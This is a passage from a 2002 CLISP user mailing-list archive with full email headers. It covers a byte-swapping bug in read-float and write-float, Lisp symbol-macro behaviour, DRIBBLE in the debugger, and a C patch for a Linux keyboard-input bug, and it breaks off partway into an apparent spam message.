(x) `(print ,x))) Sam> (macrolet ((baz (x) `(bar ,x))) Sam> (baz 3))))) Sam> ==> Sam> (PRINT 3) ; Sam> T I tried this out. It works nicely, and a little better than the LW or PCL walker because they leave the macrolet forms in, which I then have to skip over. Thanks! Ray From sds@gnu.org Thu Dec 12 07:27:18 2002 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MVF8-0007nv-00 for ; Thu, 12 Dec 2002 07:27:18 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop015.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021212152711.YRPB24616.pop015.verizon.net@loiso.podval.org>; Thu, 12 Dec 2002 09:27:11 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBCFRP9O008983; Thu, 12 Dec 2002 10:27:25 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBCFROCQ008979; Thu, 12 Dec 2002 10:27:24 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Bernard Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more References: <87vg1zifse.fsf@merceron.meteo.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87vg1zifse.fsf@merceron.meteo.fr> Message-ID: Lines: 79 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop015.verizon.net from [151.203.32.163] at Thu, 12 Dec 2002 09:27:11 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 12 07:28:02 2002 X-Original-Date: 12 Dec 2002 10:27:23 -0500 > * In message <87vg1zifse.fsf@merceron.meteo.fr> > * On the subject of "[clisp-list] read-integer, read-float, write-integer and write-float bug + more" > * Sent on 12 Dec 2002 13:26:57 +0100 > * Honorable Bernard Urban writes: > > Consider reading with (read-float ... 'double-float :big) the > following IEEE coding of 1.0d0 in big-endian how do I create a file like that? > (as used in XDR representation): what is XDR? > 3f f0 00 00 00 00 00 00 when I type this into a hex editor, I get this: $ hexdump bin 0000000 f03f 0000 0000 0000 0000008 I am confused. I use linux/x86. Can it be that I have a different endiannes than you do? > There is an underflow exception raised. indeed. But I also see this: $ clisp -q -norc [1]> (with-open-file (b "bin1" :element-type 'unsigned-byte :direction :output) (write-float 1d0 b 'double-float :big)) 1.0d0 [2]> (with-open-file (b "bin1" :element-type 'unsigned-byte :direction :input) (read-float b 'double-float :big)) 1.0d0 [3]> $ hexdump bin1 0000000 0000 0000 0000 3ff0 0000008 I.e., we do have i/o consistency here, right? > The culprit is elt_nreverse() in stream.d for byte swapping, which > does not work as intented. Same is true for the other ones of the > family: read-integer, write-integer and write-float. elt_nreverse() is also used for NREVERSE - could you please give an example where it produces wrong results there? > I insist on not using elt_nreverse(), which has the bad effect of > beeing very costly (on files of 1Mb size full of double-float, the > additional time cost is about 30% compared to the 2.27 version). interesting - actually, elt_nreverse() does the exact same thing as the old code (see the SIMPLE_NREVERSE CPP macro), so all the overhead is the C function call. can it really be that expensive? > ======================================== In the futrure, could you please send separate messages for separate issues? Thanks. > My second remark is about the impossibility to have a localized > clisp-2.30 version by using the standard INSTALL instructions. Thanks for reporting this. I fixed this problem in a different way. Please try the latest CVS head and report whether the probles has been indeed fixed. Thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux I don't want to be young again, I just don't want to get any older. From sds@gnu.org Thu Dec 12 07:27:34 2002 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MVFO-0007pW-00 for ; Thu, 12 Dec 2002 07:27:34 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop018.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021212152725.XUZV4558.pop018.verizon.net@loiso.podval.org>; Thu, 12 Dec 2002 09:27:25 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBCFRd9O008994; Thu, 12 Dec 2002 10:27:39 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBCFRckH008990; Thu, 12 Dec 2002 10:27:38 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Bernard Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more References: <87vg1zifse.fsf@merceron.meteo.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87vg1zifse.fsf@merceron.meteo.fr> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Message-ID: Lines: 79 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop018.verizon.net from [151.203.32.163] at Thu, 12 Dec 2002 09:27:25 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 12 07:28:03 2002 X-Original-Date: 12 Dec 2002 10:27:38 -0500 > * In message <87vg1zifse.fsf@merceron.meteo.fr> > * On the subject of "[clisp-list] read-integer, read-float, write-integer and write-float bug + more" > * Sent on 12 Dec 2002 13:26:57 +0100 > * Honorable Bernard Urban writes: > > Consider reading with (read-float ... 'double-float :big) the > following IEEE coding of 1.0d0 in big-endian how do I create a file like that? > (as used in XDR representation): what is XDR? > 3f f0 00 00 00 00 00 00 when I type this into a hex editor, I get this: $ hexdump bin 0000000 f03f 0000 0000 0000 0000008 I am confused. I use linux/x86. Can it be that I have a different endiannes than you do? > There is an underflow exception raised. indeed. But I also see this: $ clisp -q -norc [1]> (with-open-file (b "bin1" :element-type 'unsigned-byte :direction :output) (write-float 1d0 b 'double-float :big)) 1.0d0 [2]> (with-open-file (b "bin1" :element-type 'unsigned-byte :direction :input) (read-float b 'double-float :big)) 1.0d0 [3]> $ hexdump bin1 0000000 0000 0000 0000 3ff0 0000008 I.e., we do have i/o consistency here, right? > The culprit is elt_nreverse() in stream.d for byte swapping, which > does not work as intented. Same is true for the other ones of the > family: read-integer, write-integer and write-float. elt_nreverse() is also used for NREVERSE - could you please give an example where it produces wrong results there? > I insist on not using elt_nreverse(), which has the bad effect of > beeing very costly (on files of 1Mb size full of double-float, the > additional time cost is about 30% compared to the 2.27 version). interesting - actually, elt_nreverse() does the exact same thing as the old code (see the SIMPLE_NREVERSE CPP macro), so all the overhead is the C function call. can it really be that expensive? > ======================================== In the futrure, could you please send separate messages for separate issues? Thanks. > My second remark is about the impossibility to have a localized > clisp-2.30 version by using the standard INSTALL instructions. Thanks for reporting this. I fixed this problem in a different way. Please try the latest CVS head and report whether the probles has been indeed fixed. Thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux I don't want to be young again, I just don't want to get any older. From Joerg-Cyril.Hoehle@t-systems.com Thu Dec 12 10:49:51 2002 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MYP8-0005Vg-00 for ; Thu, 12 Dec 2002 10:49:50 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Thu, 12 Dec 2002 19:49:41 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 12 Dec 2002 19:49:41 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE8AA196@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Bernard.Urban@meteo.fr Subject: [clisp-list] read-integer, read-float, write-integer and write-fl oat bug + more MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 12 10:50:07 2002 X-Original-Date: Thu, 12 Dec 2002 19:49:39 +0100 Bernard Urban wrote: >I insist on not using elt_nreverse(), which has the bad effect of beeing >very costly (on files of 1Mb size full of double-float, the additional >time cost is about 30% compared to the 2.27 version). It may be very costly, but its use seems completely wrong. It NREVERSE a bit-vector, while the comment say to *byte swap*. That's not at all the same manipulation of data. if (BIG_ENDIAN_P ? !endianness : endianness) # Byte-Swap the data. elt_nreverse(bitbuffer,0,bytesize); elt_nreverse doesn't byte swap on a bit buffer. It may do so only for arrays of element-type (unsigned-byte 8), not arrays of bits. For u-8, elt_nreverse() should be as efficient as inlined code. Talking about microcycles, bytesize would have been better declared as uintBWL for some systems (Intel not affected since prefers all 32bit ints), and you have to hope for memcpy(...,sizeof(ffloatjanus)) to be inlined. CLISP has dotimespL() and doconsttimes() for such loops. Again, constant folding rules loops and one would obtain more speed if there were a function to parse a whole array of floats or ints at once. That's what I call the principle of working on blocks. Thanks for discovering and reporting this. Jorg Hohle. From sds@gnu.org Thu Dec 12 13:31:50 2002 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Mavt-0000Y5-00 for ; Thu, 12 Dec 2002 13:31:49 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop015.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021212213143.BWHK24616.pop015.verizon.net@loiso.podval.org>; Thu, 12 Dec 2002 15:31:43 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBCLW09O010029; Thu, 12 Dec 2002 16:32:00 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBCLVheQ010025; Thu, 12 Dec 2002 16:31:43 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, Bernard.Urban@meteo.fr Subject: Re: [clisp-list] read-integer, read-float, write-integer and write-fl oat bug + more References: <9F8582E37B2EE5498E76392AEDDCD3FE8AA196@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE8AA196@G8PQD.blf01.telekom.de> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop015.verizon.net from [151.203.32.163] at Thu, 12 Dec 2002 15:31:42 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 12 13:32:04 2002 X-Original-Date: 12 Dec 2002 16:31:43 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE8AA196@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] read-integer, read-float, write-integer and write-fl oat bug + more" > * Sent on Thu, 12 Dec 2002 19:49:39 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > It may be very costly, but its use seems completely wrong. It NREVERSE > a bit-vector, while the comment say to *byte swap*. That's not at all > the same manipulation of data. this explains the performance hit. thanks! this is now fixed in the CVS. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Computers are like air conditioners: they don't work with open windows! From Bernard.Urban@meteo.fr Fri Dec 13 00:32:55 2002 Received: from cadillac.meteo.fr ([137.129.1.4]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Ml6a-0003GL-00 for ; Fri, 13 Dec 2002 00:23:32 -0800 Received: from merceron.meteo.fr (localhost.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (8.9.3 (PHNE_22672)/8.9.3) with ESMTP id IAA17656 for ; Fri, 13 Dec 2002 08:23:04 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more References: <87vg1zifse.fsf@merceron.meteo.fr> From: Bernard Urban In-Reply-To: Message-ID: <87r8cni545.fsf@merceron.meteo.fr> Lines: 113 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 13 00:33:03 2002 X-Original-Date: 12 Dec 2002 17:17:30 +0100 Sam Steingold writes: > > * In message <87vg1zifse.fsf@merceron.meteo.fr> > > * On the subject of "[clisp-list] read-integer, read-float, write-integer and write-float bug + more" > > * Sent on 12 Dec 2002 13:26:57 +0100 > > * Honorable Bernard Urban writes: > > > > Consider reading with (read-float ... 'double-float :big) the > > following IEEE coding of 1.0d0 in big-endian > > how do I create a file like that? > I found the problem by using an XDR file generated by the Right Thing (namely a rpcgen generated program). You could use clisp as in your exemple below, BUT RELEASE 2.27 or before, of course... > > (as used in XDR representation): > what is XDR? It is the serialized representation of data used by Sun Remote Procedure Call. An incredible tool, largely forgotten today (or reinvented badly, as in XML-RPC). > > 3f f0 00 00 00 00 00 00 > > when I type this into a hex editor, I get this: > > $ hexdump bin > 0000000 f03f 0000 0000 0000 > 0000008 > > I am confused. I use linux/x86. Can it be that I have a different I do found the problem on x86 (which is little endian, and XDR is big endian, hence the swapping of F0 and 3F). So it is correct. Try 'od -t x1' if in doubt. > endiannes than you do? > > > There is an underflow exception raised. > > indeed. > > But I also see this: > > $ clisp -q -norc > > [1]> (with-open-file (b "bin1" :element-type 'unsigned-byte :direction :output) > (write-float 1d0 b 'double-float :big)) > 1.0d0 > [2]> (with-open-file (b "bin1" :element-type 'unsigned-byte :direction :input) > (read-float b 'double-float :big)) > 1.0d0 > [3]> > $ hexdump bin1 > 0000000 0000 0000 0000 3ff0 > 0000008 > > I.e., we do have i/o consistency here, right? Yes, but... Actually, the same error in write-float compensate for the one in read-float (elt_nreverse being its own inverse). > > > The culprit is elt_nreverse() in stream.d for byte swapping, which > > does not work as intented. Same is true for the other ones of the > > family: read-integer, write-integer and write-float. > > elt_nreverse() is also used for NREVERSE - could you please give an > example where it produces wrong results there? > No, I think elt_nreverse() is probably correct, but there is a switch statement, and you probably end up in the wrong case for read-float and friends. > > I insist on not using elt_nreverse(), which has the bad effect of > > beeing very costly (on files of 1Mb size full of double-float, the > > additional time cost is about 30% compared to the 2.27 version). > > interesting - actually, elt_nreverse() does the exact same thing as the > old code (see the SIMPLE_NREVERSE CPP macro), so all the overhead is > the C function call. can it really be that expensive? > Apparently, it is so, for reading and writing, at least on the system I use (K6-2). > > ======================================== > > In the futrure, could you please send separate messages for separate > issues? Thanks. Ok. > > > My second remark is about the impossibility to have a localized > > clisp-2.30 version by using the standard INSTALL instructions. > > Thanks for reporting this. > I fixed this problem in a different way. > Please try the latest CVS head and report whether the probles has been > indeed fixed. Thanks. > I will be able to test this tomorrow. Regards. -- Bernard Urban From edi@agharta.de Fri Dec 13 04:52:10 2002 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MpIS-0006Y3-00 for ; Fri, 13 Dec 2002 04:52:04 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id E5590260406; Fri, 13 Dec 2002 13:51:56 +0100 (CET) To: clisp-list@lists.sourceforge.net From: Edi Weitz Message-ID: <877keersib.fsf@bird.agharta.de> Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] SYMBOL-VALUE of 'FFI::*VARIABLE-LIST* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 13 04:53:02 2002 X-Original-Date: 13 Dec 2002 13:51:56 +0100 Is the following a bug or correct behaviour? I would have thought that BOUNDP shouldn't return T because the symbol is only FBOUNDP by being a symbol-macro. I was also surprised to see something like a global symbol-macro. I thought these do only exist within the scope of a SYMBOL-MACROLET. Thanks, Edi. [1]> (describe 'FFI::*VARIABLE-LIST*) FFI::*VARIABLE-LIST* is the symbol FFI::*VARIABLE-LIST*, lies in #, is accessible in 1 package FFI, a variable (macro: (FFI::FFI-MODULE-VARIABLE-LIST SYSTEM::*FFI-MODULE*)), value: #. For more information, evaluate (MACROEXPAND-1 'FFI::*VARIABLE-LIST*). # is the package named FFI. It imports the external symbols of 2 packages COMMON-LISP, EXT and exports 58 symbols to 1 package REGEXP. # is a symbol macro handler. [2]> (boundp 'FFI::*VARIABLE-LIST*) T [3]> (symbol-value 'FFI::*VARIABLE-LIST*) *** - SYSTEM::%STRUCTURE-REF: NIL is not a structure of type FFI::FFI-MODULE 1. Break [4]> From edi@agharta.de Fri Dec 13 05:11:10 2002 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Mpaq-0000Wv-00 for ; Fri, 13 Dec 2002 05:11:04 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id 951DB260406; Fri, 13 Dec 2002 14:10:58 +0100 (CET) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (DRIBBLE) in debugger References: <87bs461whs.fsf@bird.agharta.de> <874r9xmdj4.fsf@bird.agharta.de> <871y4occf3.fsf@bird.agharta.de> <87k7ifbjk9.fsf@bird.agharta.de> From: Edi Weitz In-Reply-To: Message-ID: <87u1hiqd26.fsf@bird.agharta.de> Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 13 05:12:02 2002 X-Original-Date: 13 Dec 2002 14:10:57 +0100 Sam Steingold writes: > > * In message <87k7ifbjk9.fsf@bird.agharta.de> > > * On the subject of "Re: [clisp-list] (DRIBBLE) in debugger" > > * Sent on 12 Dec 2002 11:47:18 +0100 > > * Honorable Edi Weitz writes: > > > > Sam Steingold writes: > > > if you prefer, you can update cvs now and try again. > > > > OK, just did 'cvs update' and rebuilt. But it's still as before: > > check that you have no sticky tags. > remove your build directory and reconfigure. OK, that was it. DRIBBLE now works fine and as I had hoped. Thanks, Edi. From sds@gnu.org Fri Dec 13 06:52:08 2002 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MrAe-0006z1-00 for ; Fri, 13 Dec 2002 06:52:08 -0800 Received: from loiso.podval.org ([151.203.32.163]) by pop017.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021213145200.GCCD1532.pop017.verizon.net@loiso.podval.org>; Fri, 13 Dec 2002 08:52:00 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBDEqS9O032541; Fri, 13 Dec 2002 09:52:28 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBDEqQqd032537; Fri, 13 Dec 2002 09:52:26 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Bernard Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more References: <87vg1zifse.fsf@merceron.meteo.fr> <87r8cni545.fsf@merceron.meteo.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87r8cni545.fsf@merceron.meteo.fr> Message-ID: Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop017.verizon.net from [151.203.32.163] at Fri, 13 Dec 2002 08:51:59 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 13 06:53:02 2002 X-Original-Date: 13 Dec 2002 09:52:26 -0500 > * In message <87r8cni545.fsf@merceron.meteo.fr> > * On the subject of "Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more" > * Sent on 12 Dec 2002 17:17:30 +0100 > * Honorable Bernard Urban writes: > > > how do I create a file like that? > > I found the problem by using an XDR file generated by the Right Thing > (namely a rpcgen generated program). could you please give some more examples for the regression test? right now I have (let ((vec (make-array 8 :element-type '(unsigned-byte 8) :initial-contents '(#x3f #xf0 0 0 0 0 0 0)))) (with-open-file (foo "./foocl" :direction :output :element-type '(unsigned-byte 8)) (write-sequence vec foo)) (prog1 (with-open-file (foo "./foocl" :direction :input :element-type '(unsigned-byte 8)) (read-float foo 'double-float :big)) (delete-file "./foocl"))) can you give me more binary representations of floats and integers in various endiannesses? > You could use clisp as in your > exemple below, BUT RELEASE 2.27 or before, of course... actually, CVS head CLISP should do too. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux (lisp programmers do it better) From sds@gnu.org Fri Dec 13 07:52:20 2002 Received: from out003pub.verizon.net ([206.46.170.103] helo=out003.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Ms6t-0008TF-00 for ; Fri, 13 Dec 2002 07:52:19 -0800 Received: from loiso.podval.org ([151.203.32.163]) by out003.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021213155213.KTRZ21770.out003.verizon.net@loiso.podval.org>; Fri, 13 Dec 2002 09:52:13 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBDFqg9O032653; Fri, 13 Dec 2002 10:52:42 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBDFqfGL032649; Fri, 13 Dec 2002 10:52:41 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Jamison Masse Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ext:with-keyboard / ext:*keyboard-input* and listen References: <1039656278.1668.990.camel@woody.snu.ac.kr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1039656278.1668.990.camel@woody.snu.ac.kr> Message-ID: Lines: 92 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out003.verizon.net from [151.203.32.163] at Fri, 13 Dec 2002 09:52:13 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 13 07:53:03 2002 X-Original-Date: 13 Dec 2002 10:52:41 -0500 > * In message <1039656278.1668.990.camel@woody.snu.ac.kr> > * On the subject of "[clisp-list] ext:with-keyboard / ext:*keyboard-input* and listen" > * Sent on 12 Dec 2002 10:24:38 +0900 > * Honorable Jamison Masse writes: > > There is seems to be a bug in linux clisp (I tried this with WinXP and > it seemed to work as I expected) with with-keyboard/keyboard-input. If > you run this code the first character typed is ignored, then the second > is picked up and the loop terminates. The same behaviour if > read-char-no-hang is used instead of the listen/read-char combo. Of > course, I expect it to pick up the first character. thanks for reporting the bug. Please try the appended patch - it should fix the bug. Please report your experiences here ASAP. > (setq c nil) > (ext:with-keyboard > (loop > (if (listen ext:*keyboard-input*) > (setq c (read-char ext:*keyboard-input*))) > (when (not (eq nil c)) (return)))) > (print c) note that this is a "busywait" loop, i.e., it will get your loadavg to 1. > I'm running clisp 2.29/Redhat 7.3 the latest release is 2.30. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Man has 2 states: hungry/angry and sate/sleepy. Catch him in transition. --- stream.d.~1.324.~ 2002-12-12 21:32:21.000000000 -0500 +++ stream.d 2002-12-13 10:46:18.000000000 -0500 @@ -8635,6 +8635,12 @@ #endif #if (defined(UNIX) && !defined(NEXTAPP)) || defined(RISCOS) +local inline gcv_object_t* kbd_last_buf (const gcv_object_t* stream_) { + var gcv_object_t* last_ = &TheStream(*stream_)->strm_keyboard_buffer; + while (mconsp(*last_)) { last_ = &Cdr(*last_); } + return last_; +} + # cf. rd_ch_unbuffered() : local object rd_ch_keyboard (const gcv_object_t* stream_) { restart_it: @@ -8642,6 +8648,15 @@ if (eq(TheStream(stream)->strm_rd_ch_last,eof_value)) # EOF already? return eof_value; # Still something in the Buffer? + if (UnbufferedStream_status(stream) > 0) { + var uintL num_bytes = UnbufferedStream_status(stream); + var uintB *bytes = UnbufferedStream_bytebuf(stream); + var uintL count; + UnbufferedStream_status(stream) = 0; + dotimespL(count,num_bytes,{ pushSTACK(code_char(as_chart(*bytes++))); }); # FIXME: This should take into account the encoding. + *kbd_last_buf(stream_) = listof(num_bytes); + stream = *stream_; + } if (mconsp(TheStream(stream)->strm_keyboard_buffer)) goto empty_buffer; # read a character: @@ -8668,20 +8683,16 @@ TheStream(stream)->strm_rd_ch_last = eof_value; return eof_value; } } - next_char_is_read: - # It increases the Buffer: - { + next_char_is_read: { /* increase the buffer: */ var object new_cons = allocate_cons(); Car(new_cons) = code_char(as_chart(c)); # FIXME: This should take into account the encoding. - stream = *stream_; - var gcv_object_t* last_ = &TheStream(stream)->strm_keyboard_buffer; - while (mconsp(*last_)) { last_ = &Cdr(*last_); } - *last_ = new_cons; + *kbd_last_buf(stream_) = new_cons; } # Is the buffer a complete sequence of characters for a key, # so we will return this key. Is the buffer a genuine starting piece # of a sequence of characters for a key, so we will wait a little bit. # Otherwise we start to empty the buffer character for character. + stream = *stream_; { var object keytab = TheStream(stream)->strm_keyboard_keytab; while (consp(keytab)) { From rp3000@pop.com.br Fri Dec 13 11:56:51 2002 Received: from [200.175.100.75] (helo=pop.com.br) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18MvvW-0007Jd-00 for ; Fri, 13 Dec 2002 11:56:50 -0800 From: "Rodrigo Pellizzari" To: Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="= Multipart Boundary 1213021807" Message-Id: Subject: [clisp-list] Como Vai Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 13 11:57:07 2002 X-Original-Date: Fri, 13 Dec 2002 18:07:25 -0200 This is a multipart MIME message. --= Multipart Boundary 1213021807 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit OLÁ! Meu nome é Rodrigo Pellizzari, provavelmente não nos conhecemos. Recebi algumas mensagens e seu e-mail estava junto. Ao responder ao remetente, o seu endereço eletrônico ficou no meu catálogo de 